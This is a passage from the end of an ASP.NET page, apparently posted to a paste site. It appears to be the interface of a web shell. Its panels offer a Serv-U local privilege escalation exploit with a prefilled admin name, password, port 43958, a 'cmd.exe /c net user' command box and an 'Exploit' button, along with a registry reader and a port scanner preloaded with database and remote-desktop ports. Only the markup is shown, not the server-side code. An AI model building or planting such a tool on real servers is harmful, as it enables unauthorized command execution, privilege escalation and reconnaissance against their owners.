  1524. <div style="overflow:scroll; text-align:center; width:770px;" id="Bin_Scroll" runat="server" visible="false" >
  1525. <asp:DataGrid ID="Bin_DataGrid" runat="server" Width="753px" PageSize="20" CssClass="Bin_DataGrid" OnItemDataBound="Item_DataBound" AllowPaging="True" OnPageIndexChanged="Bin_DBPage" OnItemCommand="Item_Command">
  1526. <PagerStyle Mode="NumericPages" Position="TopAndBottom" />
  1527. </asp:DataGrid></div>
  1528. </asp:Panel>
  1529. <asp:Panel ID="Bin_SuPanel" runat="server" Width="1270px" >
  1530. <hr />
  1531. Name :
  1532. <asp:TextBox ID="Bin_SunameTextBox" runat="server">localadministrator</asp:TextBox>
  1533. Pass :
  1534. <asp:TextBox ID="Bin_SupassTextBox" runat="server">#l@$ak#.lk;0@P</asp:TextBox>
  1535. Port :
  1536. <asp:TextBox ID="Bin_SuportTextBox" runat="server">43958</asp:TextBox><br />
  1537. CMD :
  1538. <asp:TextBox ID="Bin_SucmdTextBox" runat="server" Width="447px">cmd.exe /c net user</asp:TextBox><br />
  1539. <asp:Button ID="Bin_SuexpButton" runat="server" Text="Exploit" OnClick="Bin_SuexpButton_Click" /><br />
  1540. <div style="text-align:center">
  1541. <hr />
  1542. <asp:Label ID="Bin_SuresLabel" runat="server"></asp:Label>
  1543. </div>
  1544. </asp:Panel>
  1545. <asp:Panel ID="Bin_IISPanel" runat="server" Width="1270px"><div style="text-align:center">
  1546. <hr />
  1547. <asp:Label ID="Bin_iisLabel" runat="server" Text="Label" EnableViewState="False"></asp:Label>&nbsp;</div></asp:Panel>
  1548. <asp:Panel ID="Bin_RegPanel" runat="server" Width="1270px"><hr /><div style="text-align:center">
  1549. KEY :&nbsp; &nbsp;<asp:TextBox ID="Bin_KeyTextBox" runat="server" Width="595px">HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName</asp:TextBox><br />
  1550. VALUE :
  1551. <asp:TextBox ID="Bin_ValueTextBox" runat="server" Width="312px">ComputerName</asp:TextBox>&nbsp;<asp:Button
  1552. ID="Bin_RegreadButton" runat="server" Text="Read" OnClick="Bin_RegreadButton_Click" /><br />
  1553. <asp:Label ID="Bin_RegresLabel" runat="server"></asp:Label><hr /></div></asp:Panel>
  1554. <asp:Panel ID="Bin_PortPanel" runat="server" Width="1270px">
  1555. <hr /><div style="text-align:center">
  1556. IP :
  1557. <asp:TextBox ID="Bin_ScanipTextBox" runat="server" Width="194px">127.0.0.1</asp:TextBox>
  1558. PORT :
  1559. <asp:TextBox ID="Bin_PortsTextBox" runat="server" Width="356px">21,80,1433,3306,3389,4899,5631,43958,65500</asp:TextBox>
  1560. <asp:Button ID="Bin_ScancmdButton" runat="server" Text="Scan" OnClick="Bin_ScancmdButton_Click" /><br />
  1561. <asp:Label ID="Bin_ScanresLabel" runat="server"></asp:Label></div><hr /></asp:Panel>
  1562.  
  1563. </div></form>
  1564. </body>
  1565. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement